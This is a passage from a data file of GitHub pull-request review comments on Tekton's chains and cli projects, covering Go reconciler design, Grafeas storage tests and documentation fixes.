"2022-08-30T18:30:07Z", "line": null, "path": "pkg/chains/signing.go", "pr_number": 436, "repo": "chains"} +{"author": "bcaton85", "body": "removed", "comment_id": 958805133, "created_at": "2022-08-30T18:30:17Z", "line": null, "path": "pkg/chains/storage/tekton/tekton.go", "pr_number": 436, "repo": "chains"} +{"author": "bcaton85", "body": "Yeah that's right. Fixed to use the existing `pipelineclientset`.", "comment_id": 958805860, "created_at": "2022-08-30T18:31:13Z", "line": null, "path": "pkg/chains/storage/tekton/tekton.go", "pr_number": 436, "repo": "chains"} +{"author": "bcaton85", "body": "Ended up doing this during the initial configuration check.", "comment_id": 958806192, "created_at": "2022-08-30T18:31:37Z", "line": 56, "path": "pkg/reconciler/pipelinerun/controller.go", "pr_number": 436, "repo": "chains"} +{"author": "bcaton85", "body": "Good call, added.", "comment_id": 958806318, "created_at": "2022-08-30T18:31:47Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 436, "repo": "chains"} +{"author": "bcaton85", "body": "Agreed, fixed.", "comment_id": 958806456, "created_at": "2022-08-30T18:31:57Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 436, "repo": "chains"} +{"author": "bcaton85", "body": "Yes, good idea. Fixed.", "comment_id": 958806666, "created_at": "2022-08-30T18:32:10Z", "line": null, "path": "pkg/test/clients.go", "pr_number": 436, "repo": "chains"} +{"author": "chuangw6", "body": "Maybe out of scope of this pr. \r\nI think we could consolidate `Ref` and `Invocation` once https://github.com/tektoncd/chains/pull/554 and related work in pipeline repo are done. Specifically, we can remove the `Ref` field and just record remote refs in `TaskAttestation.Invocation.configSource`. Happy to take on this part after this PR is merged if we agree on this.\r\n", "comment_id": 973143588, "created_at": "2022-09-16T15:23:32Z", "line": 48, "path": "pkg/chains/formats/intotoite6/pipelinerun/pipelinerun.go", "pr_number": 436, "repo": "chains"} +{"author": "bcaton85", "body": "Yeah I agree, that would be great", "comment_id": 973236173, "created_at": "2022-09-16T17:21:16Z", "line": 48, "path": "pkg/chains/formats/intotoite6/pipelinerun/pipelinerun.go", "pr_number": 436, "repo": "chains"} +{"author": "wlynch", "body": "Yeah fine to start here. Just wanted to call it out as it being generally useful \ud83d\udc40 ", "comment_id": 974745495, "created_at": "2022-09-19T22:45:44Z", "line": 57, "path": "pkg/chains/objects/objects.go", "pr_number": 436, "repo": "chains"} +{"author": "wlynch", "body": "Fine for now @chuangw6 was looking into revamping this for certain artifacts to better match the objects GVK.", "comment_id": 974746345, "created_at": "2022-09-19T22:47:44Z", "line": 80, "path": "pkg/artifacts/signable.go", "pr_number": 436, "repo": "chains"} +{"author": "wlynch", "body": "Not blocking for this PR (because I do want to get this in), but something we could do is add additional methods to the TektonObject interface -\r\n\r\ne.g. \r\n\r\n```go\r\nfunc GetOCI() []name.Digest{}\r\n```\r\n\r\nthen PipelineRuns and TaskRuns could implement these separately and this just becomes a thin wrapper around the impl methods.", "comment_id": 974748206, "created_at": "2022-09-19T22:51:51Z", "line": 128, "path": "pkg/artifacts/signable.go", "pr_number": 436, "repo": "chains"} +{"author": "wlynch", "body": "jk - that's for something else. This is fine!", "comment_id": 974757900, "created_at": "2022-09-19T23:14:47Z", "line": 80, "path": "pkg/artifacts/signable.go", "pr_number": 436, "repo": "chains"} +{"author": "bcaton85", "body": "Yeah that would be much cleaner.", "comment_id": 975339477, "created_at": "2022-09-20T13:07:00Z", "line": 128, "path": "pkg/artifacts/signable.go", "pr_number": 436, "repo": "chains"} +{"author": "wlynch", "body": "nit: https://pkg.go.dev/k8s.io/apimachinery/pkg/apis/meta/v1#OwnerReference is the more authoritative source for this.", "comment_id": 978762537, "created_at": "2022-09-23T14:53:19Z", "line": null, "path": "pkg/chains/objects/objects.go", "pr_number": 564, "repo": "chains"} +{"author": "wlynch", "body": "Do we need to wait until all Tasks are done before doing this? \r\n\r\nIn particular I'm thinking about if we have a matrix pipeline that builds images for different arch in different Tasks - if we set this too early the Pipeline sig might still clash with other Tasks. \r\n\r\nMaybe we invert this relationship and have objects query for their parent status? \ud83e\udd14 ", "comment_id": 978764684, "created_at": "2022-09-23T14:55:14Z", "line": null, "path": "pkg/chains/signing.go", "pr_number": 564, "repo": "chains"} +{"author": "lcarva", "body": "> Do we need to wait until all Tasks are done before doing this?\r\n\r\nIn reality, we just need to wait until the last Task within the Pipeline that has signable subjects. We could enhance the logic to handle that, not sure how much more beneficial that would be though.\r\n\r\n> In particular I'm thinking about if we have a matrix pipeline that builds images for different arch in different Tasks - if we set this too early the Pipeline sig might still clash with other Tasks.\r\n\r\nI think in this case, each of those Tasks produces a different image (unique digest). So the Tasks themselves wouldn't interfere with each other's signatures and attestations.\r\n\r\n> Maybe we invert this relationship and have objects query for their parent status?\r\n\r\nInteresting idea. It would mean that signatures and attestations may have a perceivable delay in being created (maybe?). Not sure if that's an issue.", "comment_id": 978795012, "created_at": "2022-09-23T15:18:37Z", "line": null, "path": "pkg/chains/signing.go", "pr_number": 564, "repo": "chains"} +{"author": "lcarva", "body": "Thanks for the suggestion. Updated.", "comment_id": 978962229, "created_at": "2022-09-23T18:27:23Z", "line": null, "path": "pkg/chains/objects/objects.go", "pr_number": 564, "repo": "chains"} +{"author": "wlynch", "body": "> In reality, we just need to wait until the last Task within the Pipeline that has signable subjects. We could enhance the logic to handle that, not sure how much more beneficial that would be though.\r\n\r\nMakes sense! This is just waiting until 1 Task is done before annotating the PipelineRun to go though, right? That's why I'm wondering if we should just wait until the pipeline clears first before we handle the TaskRuns \ud83e\udd14 \r\n\r\n> I think in this case, each of those Tasks produces a different image (unique digest). So the Tasks themselves wouldn't interfere with each other's signatures and attestations.\r\n\r\nHmmm I think I'm not fully grasping the problem then - if TaskRuns are pushing unique digests that won't interfere with each other, how does this interfere with the PipelineRun? \ud83d\udc40 \r\n\r\n> Interesting idea. It would mean that signatures and attestations may have a perceivable delay in being created (maybe?). Not sure if that's an issue.\r\n\r\nI'm not super concerned - chains is already async so there's an expectation of some delay. We could use https://pkg.go.dev/knative.dev/pkg/controller#Impl.EnqueueKey to force an immediate requeue of sub resources to help speed things up if needed.\r\n\r\n", "comment_id": 980243331, "created_at": "2022-09-26T16:07:01Z", "line": null, "path": "pkg/chains/signing.go", "pr_number": 564, "repo": "chains"} +{"author": "lcarva", "body": "> Makes sense! This is just waiting until 1 Task is done before annotating the PipelineRun to go though, right? \r\n\r\nThis updates the PipelineRun whenever a TaskRun finishes. So if the PipelineRun contains 5 TaskRuns, the annotation on the PipelineRun will get updated 5 times.\r\n\r\n> That's why I'm wondering if we should just wait until the pipeline clears first before we handle the TaskRuns\r\n\r\nI think to make this work, we would need to update an annotation on the TaskRun to indicate whether or not it can be proceed by Chains, right? That might work. I'm not sure what the main benefit would be though. Can you help me understand?\r\n\r\nThe reason I chose the current approach is because I wanted to reconcile resources as early as possible. Waiting to reconcile TaskRuns until the whole PipelineRun completes goes against that. I'm not saying that we shouldn't do that, just clarifying my thought process.\r\n\r\n> Hmmm I think I'm not fully grasping the problem then - if TaskRuns are pushing unique digests that won't interfere with each other, how does this interfere with the PipelineRun?\r\n\r\nBecause if you want a PipelineRun attestation for each one of those images, they need to become Pipeline results. Let's say a PipelineRun contains three TaskRuns, each building a unique image (e.g. multi-arch). Since they're unique, they have different digests, so even if they're pushed to the same OCI repo, they'll each have their own signature and attestation images. (This is also the case prior to TEP-84). Now let's say the PipelineRun produces multiple images in its result, which makes sense since at the scope of a PipelineRun, multiple images were built. The PipelineRun reconciler is going to generate the PipelineRun attestation (which is the same for all three images), and push them not only to the same OCI repo, but also to the same `sha256-.att` tag. cosign is smart enough to not overwrite the attestations that are already there, so you end up with attestation images that contain two layers. The first layer contains the TaskRun attestation (unique across all three images), and the second containing the PipelineRun attestation (the same across all three images).", "comment_id": 980322143, "created_at": "2022-09-26T17:29:16Z", "line": null, "path": "pkg/chains/signing.go", "pr_number": 564, "repo": "chains"} +{"author": "wlynch", "body": "Okay, now that I'm caught up and grok everything, I think we can actually do this with less changes!\r\n\r\n> I think to make this work, we would need to update an annotation on the TaskRun to indicate whether or not it can be proceed by Chains, right? That might work. I'm not sure what the main benefit would be though. Can you help me understand?\r\n\r\nI think we already have this in the `chains.tekton.dev/signed` annotation + the reconciled check here: https://github.com/tektoncd/chains/blob/ad5a650eca7cc0d3019d5712bc945f906c2a4d1b/pkg/chains/annotations.go#L36-L43\r\n\r\nI think what we probably want to do is swap out the direct client in https://github.com/tektoncd/chains/blob/ad5a650eca7cc0d3019d5712bc945f906c2a4d1b/pkg/reconciler/pipelinerun/pipelinerun.go#L94 for the lister cache via the informer from https://pkg.go.dev/github.com/tektoncd/pipeline@v0.40.0/pkg/client/injection/informers/pipeline/v1beta1/taskrun . This should be safe to query as much as we want and should generally have the latest-ish values.\r\n\r\nTo trigger the resync from the TaskRun, you can just requeue the parent object key using https://pkg.go.dev/knative.dev/pkg@v0.0.0-20220921024409-d1d5c849073b/controller#Impl.EnqueueKey\r\n\r\nThis should block the PipelineRun reconcile until all the TaskRuns are done and minimize the # of API calls the PipelineRun reconciler is making to query TaskRun state.\r\n\r\n> The reason I chose the current approach is because I wanted to reconcile resources as early as possible. Waiting to reconcile TaskRuns until the whole PipelineRun completes goes against that. I'm not saying that we shouldn't do that, just clarifying my thought process.\r\n\r\nGot it. Makes sense!", "comment_id": 980485333, "created_at": "2022-09-26T20:45:56Z", "line": null, "path": "pkg/chains/signing.go", "pr_number": 564, "repo": "chains"} +{"author": "lcarva", "body": "ooh I like this idea.\r\n\r\nI replaced the line with:\r\n```go\r\ntaskruninformer.Get(ctx).Lister().TaskRuns(pr.Namespace).Get(name)\r\n```\r\n\r\nBut I'm getting a panic when that line is run:\r\n```go\r\nUnable to fetch github.com/tektoncd/pipeline/pkg/client/informers/externalversions/pipeline/v1beta1.TaskRunInformer from context.\r\n```\r\n\r\nI'm not well-versed here, but it sounds like maybe I also need to do some setup on the informer.", "comment_id": 981273736, "created_at": "2022-09-27T13:50:02Z", "line": null, "path": "pkg/chains/signing.go", "pr_number": 564, "repo": "chains"} +{"author": "wlynch", "body": "Yeah I always forget where the client injection needs to go. Try passing it when the controller is created similar to the pipelinerun informer. https://github.com/tektoncd/chains/blob/ad5a650eca7cc0d3019d5712bc945f906c2a4d1b/pkg/reconciler/pipelinerun/controller.go#L33", "comment_id": 981284657, "created_at": "2022-09-27T13:58:11Z", "line": null, "path": "pkg/chains/signing.go", "pr_number": 564, "repo": "chains"} +{"author": "lcarva", "body": "Thanks for the tip :pray: Pushed a new commit that takes this approach. It should further improve performance.\r\n\r\nFor the second part of your suggestion, I'm not sure if it'll work. It would require the TaskRun controller/reconciler to add something on the queue of the PipelineRun controller/reconciler. I'm likely missing something obvious here though.", "comment_id": 981456231, "created_at": "2022-09-27T16:22:56Z", "line": null, "path": "pkg/chains/signing.go", "pr_number": 564, "repo": "chains"} +{"author": "wlynch", "body": "Shout out to @vaikas for this!\r\n\r\nWe should be able to use a tracker for this to watch a PipelineRun's children:\r\n\r\nhttps://github.com/sigstore/policy-controller/blob/main/pkg/reconciler/clusterimagepolicy/clusterimagepolicy.go#L204 for an example", "comment_id": 981555221, "created_at": "2022-09-27T17:58:30Z", "line": null, "path": "pkg/chains/signing.go", "pr_number": 564, "repo": "chains"} +{"author": "lcarva", "body": "Kudos to @vaikas!\r\n\r\nAdded a commit that takes this approach.\r\n\r\n@wlynch, if the current changes look good to you, I can squash the commits if you prefer.\r\n\r\n(The failing e2e test seems to be unrelated to these changes because it's also failing on my PR that updates just the docs.)", "comment_id": 981635175, "created_at": "2022-09-27T19:29:33Z", "line": null, "path": "pkg/chains/signing.go", "pr_number": 564, "repo": "chains"} +{"author": "chuangw6", "body": "Hey @bcaton85 @lcarva \r\nI am trying to change GetKind to GetGVK for two reasons 1/ previous `tro.GetObjectKind().GroupVersionKind().Kind` seems to return empty string in logs, 2/ get the full GVK so that we can reuse it at a lot of places i.e. intoto BuildType and grafeas side.\r\nPlease comment if you have any concerns/questions. Thanks!", "comment_id": 987953036, "created_at": "2022-10-05T13:54:54Z", "line": null, "path": "pkg/chains/objects/objects.go", "pr_number": 590, "repo": "chains"} +{"author": "bcaton85", "body": "Were tests going to done in a follow up PR?", "comment_id": 987961841, "created_at": "2022-10-05T14:02:31Z", "line": null, "path": "pkg/chains/storage/grafeas/grafeas_test.go", "pr_number": 590, "repo": "chains"} +{"author": "bcaton85", "body": "Is this a debugging comment that was accidentally left in?", "comment_id": 987962555, "created_at": "2022-10-05T14:03:12Z", "line": null, "path": "pkg/chains/storage/grafeas/grafeas.go", "pr_number": 590, "repo": "chains"} +{"author": "bcaton85", "body": "Seems the only fields that differ here are `NoteId` and `ShortDescription`, would we want to switch on just those to reduce duplicated code? This is very much a nitpick, i'm also fine with how it is now.", "comment_id": 987963840, "created_at": "2022-10-05T14:04:31Z", "line": 216, "path": "pkg/chains/storage/grafeas/grafeas.go", "pr_number": 590, "repo": "chains"} +{"author": "chuangw6", "body": "Yes! The tests will be done in this PR. ", "comment_id": 988012460, "created_at": "2022-10-05T14:47:21Z", "line": null, "path": "pkg/chains/storage/grafeas/grafeas_test.go", "pr_number": 590, "repo": "chains"} +{"author": "chuangw6", "body": "Yes, thanks @bcaton85!", "comment_id": 988012890, "created_at": "2022-10-05T14:47:44Z", "line": null, "path": "pkg/chains/storage/grafeas/grafeas.go", "pr_number": 590, "repo": "chains"} +{"author": "chuangw6", "body": "Good point. Happy to extract this out. Thanks @bcaton85 for reviewing the PR.", "comment_id": 988013510, "created_at": "2022-10-05T14:48:16Z", "line": 216, "path": "pkg/chains/storage/grafeas/grafeas.go", "pr_number": 590, "repo": "chains"} +{"author": "lcarva", "body": "Oh good idea. Thanks for adding this!", "comment_id": 988037169, "created_at": "2022-10-05T15:05:24Z", "line": 82, "path": "pkg/chains/objects/objects.go", "pr_number": 590, "repo": "chains"} +{"author": "chuangw6", "body": "The unit tests are finished. Please take a look. I also tested the backend with real grafeas server (container analysis). It works as expected. Thank you!", "comment_id": 992401507, "created_at": "2022-10-11T14:26:49Z", "line": null, "path": "pkg/chains/storage/grafeas/grafeas_test.go", "pr_number": 590, "repo": "chains"} +{"author": "wlynch", "body": "Remove `tekton-provenance` in another PR.", "comment_id": 993611603, "created_at": "2022-10-12T15:27:20Z", "line": null, "path": "pkg/config/config.go", "pr_number": 590, "repo": "chains"} +{"author": "wlynch", "body": "```suggestion\r\n\tProjectID = \"test-project\"\r\n\tNoteID = \"test-note\"\r\n```\r\n\r\nSee https://github.com/golang/go/wiki/CodeReviewComments#initialisms", "comment_id": 993614878, "created_at": "2022-10-12T15:30:17Z", "line": null, "path": "pkg/chains/storage/grafeas/grafeas_test.go", "pr_number": 590, "repo": "chains"} +{"author": "wlynch", "body": "This would be a good thing to convert to a [table-driven test](https://github.com/golang/go/wiki/TableDrivenTests), i.e.\r\n\r\n```go\r\nfor _, tc := range []struct{\r\n name string\r\n filter string\r\n want []*pb.Occurrence\r\n}{\r\n...\r\n```", "comment_id": 993619194, "created_at": "2022-10-12T15:34:13Z", "line": null, "path": "pkg/chains/storage/grafeas/grafeas_test.go", "pr_number": 590, "repo": "chains"} +{"author": "wlynch", "body": "nit: \r\n```suggestion\r\n\twantOccurrences []*pb.Occurrence\r\n```\r\n\r\n(keep tenses consistent - e.g. wantErr / wantOccurrences)", "comment_id": 993626037, "created_at": "2022-10-12T15:40:18Z", "line": null, "path": "pkg/chains/storage/grafeas/grafeas_test.go", "pr_number": 590, "repo": "chains"} +{"author": "wlynch", "body": "We should probably move this into the t.Run so it's clearer where errors are occurring.\r\n\r\nInstead of appending and comparing all occurrences, can we provide a parent / filter to restrict to just the elements we want? Alternatively if the fake doesn't support that, we could just create a new grafeas instance for each test.", "comment_id": 993635692, "created_at": "2022-10-12T15:48:50Z", "line": 371, "path": "pkg/chains/storage/grafeas/grafeas_test.go", "pr_number": 590, "repo": "chains"} +{"author": "wlynch", "body": "```suggestion\r\nfunc getTaskRunBuildOcc(t *testing.T, identifier string) *pb.Occurrence {\r\n```", "comment_id": 993654788, "created_at": "2022-10-12T16:04:59Z", "line": null, "path": "pkg/chains/storage/grafeas/grafeas_test.go", "pr_number": 590, "repo": "chains"} +{"author": "wlynch", "body": "\r\n```suggestion\r\nfunc getTaskRunAttestationOcc(t *testing.T, identifier string) *pb.Occurrence {\r\n```", "comment_id": 993655770, "created_at": "2022-10-12T16:05:59Z", "line": null, "path": "pkg/chains/storage/grafeas/grafeas_test.go", "pr_number": 590, "repo": "chains"} +{"author": "wlynch", "body": "```suggestion\r\nfunc getPipelineRunBuildOcc(t *testing.T, identifier string) *pb.Occurrence {\r\n```", "comment_id": 993656344, "created_at": "2022-10-12T16:06:32Z", "line": null, "path": "pkg/chains/storage/grafeas/grafeas_test.go", "pr_number": 590, "repo": "chains"} +{"author": "wlynch", "body": "I'd move the sorting back up to ListOccurrences - there's no mention that `getOccurrencesByFilter` is also sorting, and this might cause issues if this is removed / refactored later if the next change doesn't realize this did more than just filter. ", "comment_id": 993661419, "created_at": "2022-10-12T16:11:33Z", "line": null, "path": "pkg/chains/storage/grafeas/grafeas_test.go", "pr_number": 590, "repo": "chains"} +{"author": "chuangw6", "body": "Yeah I think it's doable. But the question here is what we want to test here.\r\nCurrently, it's testing if all occurrences from different requests are created correctly in the server i.e. testing if two occurrences with same resourceUri (taskrun level provenance and pipelinerun level provenance) are both indeed created in the server. \r\nIIUC, what you described seems more like testing if the occurrences in one request are created correctly, but not testing the potential conflicts caused by storing multiple occurrences from multiple requests.\r\n\r\nPlease let me know what you think. I am happy to change to the second case too!", "comment_id": 997152044, "created_at": "2022-10-17T14:42:13Z", "line": 371, "path": "pkg/chains/storage/grafeas/grafeas_test.go", "pr_number": 590, "repo": "chains"} +{"author": "chuangw6", "body": "Sounds good. Sorry about that! I'll do it in another PR.", "comment_id": 997157896, "created_at": "2022-10-17T14:47:01Z", "line": null, "path": "pkg/config/config.go", "pr_number": 590, "repo": "chains"} +{"author": "chuangw6", "body": "Done!", "comment_id": 997159012, "created_at": "2022-10-17T14:47:54Z", "line": null, "path": "pkg/chains/storage/grafeas/grafeas_test.go", "pr_number": 590, "repo": "chains"} +{"author": "chuangw6", "body": "Sounds good. Done!", "comment_id": 997159793, "created_at": "2022-10-17T14:48:36Z", "line": null, "path": "pkg/chains/storage/grafeas/grafeas_test.go", "pr_number": 590, "repo": "chains"} +{"author": "chuangw6", "body": "Good catch!", "comment_id": 997160042, "created_at": "2022-10-17T14:48:47Z", "line": null, "path": "pkg/chains/storage/grafeas/grafeas_test.go", "pr_number": 590, "repo": "chains"} +{"author": "chuangw6", "body": "Thanks for catching this. This is helpful!", "comment_id": 997160562, "created_at": "2022-10-17T14:49:14Z", "line": null, "path": "pkg/chains/storage/grafeas/grafeas_test.go", "pr_number": 590, "repo": "chains"} +{"author": "chuangw6", "body": "Great point! I've changed it to table-driven test to make the test more clear!", "comment_id": 997161203, "created_at": "2022-10-17T14:49:46Z", "line": null, "path": "pkg/chains/storage/grafeas/grafeas_test.go", "pr_number": 590, "repo": "chains"} +{"author": "wlynch", "body": "What should happen if some of the Subject fields are missing? Should we return an error? (we should also add tests)", "comment_id": 998423099, "created_at": "2022-10-18T15:51:27Z", "line": 138, "path": "pkg/chains/formats/intotoite6/extract/extract.go", "pr_number": 590, "repo": "chains"} +{"author": "chuangw6", "body": "Happy to add the tests!\r\nRegarding whether return error or empty slice, my thought is that if the intoto statement has empty subject or subject field is missing, it just indicates the build does not produce any artifact/output rather than a conversion error. As such we may just want to return empty slice as well? wdyt?\r\nWhen it comes storage, \r\n- grafeas will not create any occurrences for the statement with empty subjects, and just log the information saying no occurrences were created in the controller log.\r\n- [OCI storage](https://github.com/tektoncd/chains/blob/43615bdd7efbae5d7245d8f22bba6718f0ecc3bd/pkg/chains/storage/oci/oci.go#L94-L106) seems to have similar behaviour. And we may want to refactor OCI storage later to use this helper function as well.\r\n\r\n", "comment_id": 998509813, "created_at": "2022-10-18T17:16:44Z", "line": 138, "path": "pkg/chains/formats/intotoite6/extract/extract.go", "pr_number": 590, "repo": "chains"} +{"author": "chuangw6", "body": "To make the functionality reusable of being able to extract artifact URIs from run object, I moved the `RetrieveAllArtifactURIs` function from grafeas package to this extract package so that it can be reused in oci or any other places as needed. The [tests](https://github.com/tektoncd/chains/pull/590/files#diff-852530124ab21d01f48bb7e3a76cb200a0c23d5e876844fb45dec65c044530df) are added.\r\n\r\nPTAL. Thank you @wlynch !!\r\n", "comment_id": 998569183, "created_at": "2022-10-18T18:17:52Z", "line": 138, "path": "pkg/chains/formats/intotoite6/extract/extract.go", "pr_number": 590, "repo": "chains"} +{"author": "wlynch", "body": "\ud83d\udc4d empty slice is fine with me - make sure the behavior is documented (e.g. what's considered valid)!", "comment_id": 998576094, "created_at": "2022-10-18T18:25:41Z", "line": 138, "path": "pkg/chains/formats/intotoite6/extract/extract.go", "pr_number": 590, "repo": "chains"} +{"author": "wlynch", "body": "I'd add some test cases where there are malformed / missing digests as well. e.g.\r\n\r\n- Result with name but no result value\r\n- sha1 (or any other non-sha256)\r\n- Hash without `sha256:` prefix\r\n- whatever else you can think of!", "comment_id": 998577137, "created_at": "2022-10-18T18:26:55Z", "line": 46, "path": "pkg/chains/formats/intotoite6/extract/extract_test.go", "pr_number": 590, "repo": "chains"} +{"author": "chuangw6", "body": "Sounds good. Added! As for what's considered valid, I added godoc for Subjects function. PTAL!", "comment_id": 998649129, "created_at": "2022-10-18T19:55:36Z", "line": 138, "path": "pkg/chains/formats/intotoite6/extract/extract.go", "pr_number": 590, "repo": "chains"} +{"author": "chuangw6", "body": "Good points. I've added all of them including some other edge cases i.e. typo in type hinting field name, invalid sha256 value etc. PTAL! Thanks!", "comment_id": 998650674, "created_at": "2022-10-18T19:57:10Z", "line": 46, "path": "pkg/chains/formats/intotoite6/extract/extract_test.go", "pr_number": 590, "repo": "chains"} +{"author": "wlynch", "body": "We may have went too far in the other direction with too many tests \ud83d\ude05 \r\n\r\ni.e. what's the difference between these?\r\n\r\n```go\r\n{Name: \"invalidDigestAlgo_IMAGE_URL\", Value: *v1beta1.NewStructuredValues(artifactURL2)},\r\n{Name: \"invalidDigestAlgo_ARTIFACT_URI\", Value: *v1beta1.NewStructuredValues(artifactURL2)},\r\n{Name: \"invalidDigestSHA_IMAGE_URL\", Value: *v1beta1.NewStructuredValues(artifactURL2)},\r\n{Name: \"invalidDigestSHA_ARTIFACT_URI\", Value: *v1beta1.NewStructuredValues(artifactURL2)},\r\n...\r\n```\r\n\r\nOn the surface they all look like the same test case with different names - can we cut this down so we're only testing each thing once?", "comment_id": 1000065297, "created_at": "2022-10-20T01:45:00Z", "line": null, "path": "pkg/chains/formats/intotoite6/extract/extract_test.go", "pr_number": 590, "repo": "chains"} +{"author": "chuangw6", "body": "Sorry for the confusion. Since uri and digest are expected to appear in pair, I tried to cover the case that no subjects are extracted when the digest part is invalid even if the corresponding url in the pair meets the requirement \ud83e\udd23.", "comment_id": 1000659960, "created_at": "2022-10-20T13:49:57Z", "line": null, "path": "pkg/chains/formats/intotoite6/extract/extract_test.go", "pr_number": 590, "repo": "chains"} +{"author": "chuangw6", "body": "Update: I've changed this table drive test to make this more clear. PTAL. Thanks for the feedback @wlynch .\r\n\r\n```go\r\n\tvar tests = []struct {\r\n\t\tname string\r\n\t\t// a map of url:digest pairs for type hinting results\r\n\t\tresults map[string]string\r\n\t\twantSubjects []intoto.Subject\r\n\t\twantFullURLs []string\r\n\t}{\r\n```", "comment_id": 1001992571, "created_at": "2022-10-21T16:42:15Z", "line": null, "path": "pkg/chains/formats/intotoite6/extract/extract_test.go", "pr_number": 590, "repo": "chains"} +{"author": "wlynch", "body": "Should there be a pipelinerun test here as well?", "comment_id": 1000863143, "created_at": "2022-10-20T16:28:56Z", "line": 520, "path": "test/e2e_test.go", "pr_number": 598, "repo": "chains"} +{"author": "wlynch", "body": "```suggestion\r\n\tt.Log(\"============================== chains controller logs ==============================\")\r\n```", "comment_id": 1000871001, "created_at": "2022-10-20T16:36:58Z", "line": null, "path": "test/test_utils.go", "pr_number": 598, "repo": "chains"} +{"author": "bcaton85", "body": "Yes, something i was going to come back to but slipped by. I added the test.", "comment_id": 1000946817, "created_at": "2022-10-20T17:52:53Z", "line": 520, "path": "test/e2e_test.go", "pr_number": 598, "repo": "chains"} +{"author": "bcaton85", "body": "Added.", "comment_id": 1000947059, "created_at": "2022-10-20T17:53:04Z", "line": null, "path": "test/test_utils.go", "pr_number": 598, "repo": "chains"} +{"author": "chuangw6", "body": "nit: Seems like we only accept string type result here right? If so, is it possible that we move the `if res.Value.StringVal == \"\" {}` block right after the line `for _, res := range obj.GetResults() {` so that we don't repeat the `if` check?", "comment_id": 1004878251, "created_at": "2022-10-25T19:19:13Z", "line": null, "path": "pkg/artifacts/signable.go", "pr_number": 599, "repo": "chains"} +{"author": "ywluogg", "body": "That's a good point! My only concern is that we probably don't want to log this when the results don't have the right suffices. I can check the StringVal at where you mention, but don't log at all and keep continuing, but I definitely feel users would find the logged error being helpful. With that said, I feel the current way seems more reasonable. Pinging others @wlynch to see if the logging is necessary. If the logging is not helpful, I can move the checks out", "comment_id": 1004893454, "created_at": "2022-10-25T19:38:10Z", "line": null, "path": "pkg/artifacts/signable.go", "pr_number": 599, "repo": "chains"} +{"author": "wlynch", "body": "That sgtm! If you want to keep the log in, perhaps downgrade to log.Debug? This definitely isn't log.Error worthy since it isn't really an error and it's not particularly actionable. log.Debug will remove it from production logs by default, but will still keep it around for local debugging, etc.", "comment_id": 1004897100, "created_at": "2022-10-25T19:42:53Z", "line": null, "path": "pkg/artifacts/signable.go", "pr_number": 599, "repo": "chains"} +{"author": "chuangw6", "body": "Got it.\r\n\r\nIn that case, maybe we can just check the result type only after checking suffix each time instead of checking result type in both inner `if v, ok := ss[marker]; ok {` and its else block? ", "comment_id": 1004900553, "created_at": "2022-10-25T19:47:12Z", "line": null, "path": "pkg/artifacts/signable.go", "pr_number": 599, "repo": "chains"} +{"author": "ywluogg", "body": "That's a good point! Change is done!", "comment_id": 1004932938, "created_at": "2022-10-25T20:25:55Z", "line": null, "path": "pkg/artifacts/signable.go", "pr_number": 599, "repo": "chains"} +{"author": "wlynch", "body": "The t.Run is redundant here - you can remove it\r\n\r\n```suggestion\r\n```", "comment_id": 1008246128, "created_at": "2022-10-28T16:25:18Z", "line": 162, "path": "pkg/chains/objects/objects_test.go", "pr_number": 599, "repo": "chains"} +{"author": "wlynch", "body": "Can we add some tests to signable_test.go to verify behavior for the different types of result formats?\r\n\r\nI suspect we might not even need this check at all because of the `if trimmed == \r\n\"\"` below, but it would be great to have tests to confirm.", "comment_id": 1008258277, "created_at": "2022-10-28T16:40:40Z", "line": null, "path": "pkg/artifacts/signable.go", "pr_number": 599, "repo": "chains"} +{"author": "ywluogg", "body": "Good point! I added the tests and removed this check", "comment_id": 1009382645, "created_at": "2022-10-31T12:50:50Z", "line": null, "path": "pkg/artifacts/signable.go", "pr_number": 599, "repo": "chains"} +{"author": "vdemeester", "body": "This line scares me \ud83d\ude39 ", "comment_id": 586501666, "created_at": "2021-03-03T15:15:37Z", "line": null, "path": "pkg/bundle/builder.go", "pr_number": 1312, "repo": "cli"} +{"author": "pierretasci", "body": "You're right. I found a lib in apimachinery that does this for us so I will switch to using that.", "comment_id": 587644479, "created_at": "2021-03-04T16:56:57Z", "line": null, "path": "pkg/bundle/builder.go", "pr_number": 1312, "repo": "cli"} +{"author": "vinamra28", "body": "any reason for changing this line?", "comment_id": 595655080, "created_at": "2021-03-17T01:46:09Z", "line": 54, "path": "test/prompt/prompt.go", "pr_number": 1328, "repo": "cli"} +{"author": "vinamra28", "body": "same as above", "comment_id": 595655112, "created_at": "2021-03-17T01:46:17Z", "line": 140, "path": "test/cli/cli.go", "pr_number": 1328, "repo": "cli"} +{"author": "vinamra28", "body": "same as above", "comment_id": 595655145, "created_at": "2021-03-17T01:46:24Z", "line": 71, "path": "pkg/cmd/pipelineresource/resource_testUtil.go", "pr_number": 1328, "repo": "cli"} +{"author": "chmouel", "body": "Isn't that for errcheck?", "comment_id": 595978038, "created_at": "2021-03-17T12:41:36Z", "line": 54, "path": "test/prompt/prompt.go", "pr_number": 1328, "repo": "cli"} +{"author": "vdemeester", "body": "`tkn bundle pull` instead of push here \ud83d\ude43 ", "comment_id": 596170497, "created_at": "2021-03-17T16:10:50Z", "line": null, "path": "docs/cmd/tkn_bundle_pull.md", "pr_number": 1328, "repo": "cli"} +{"author": "pierretasci", "body": "ditto", "comment_id": 596209249, "created_at": "2021-03-17T16:54:58Z", "line": 71, "path": "pkg/cmd/pipelineresource/resource_testUtil.go", "pr_number": 1328, "repo": "cli"} +{"author": "pierretasci", "body": "ditto", "comment_id": 596209259, "created_at": "2021-03-17T16:54:59Z", "line": 140, "path": "test/cli/cli.go", "pr_number": 1328, "repo": "cli"} +{"author": "pierretasci", "body": "Yeah the `make check` failed on this line (and others like it). I wasn't sure if this was intentional or not, so I kept the functionality the same and suppressed the warning.", "comment_id": 596209277, "created_at": "2021-03-17T16:55:00Z", "line": 54, "path": "test/prompt/prompt.go", "pr_number": 1328, "repo": "cli"} +{"author": null, "body": "nit `Push a new Tekton bundle` -> `Pull a new Tekton bundle`", "comment_id": 596242467, "created_at": "2021-03-17T17:34:54Z", "line": null, "path": "docs/cmd/tkn_bundle.md", "pr_number": 1328, "repo": "cli"} +{"author": null, "body": "Push -> Pull", "comment_id": 596243089, "created_at": "2021-03-17T17:35:38Z", "line": null, "path": "docs/cmd/tkn_bundle_pull.md", "pr_number": 1328, "repo": "cli"} +{"author": "vdemeester", "body": "Thinking outloud here : this part might be useful in `tektoncd/pipeline` right ? (for other component, tooling to re-use, even e2e tests, 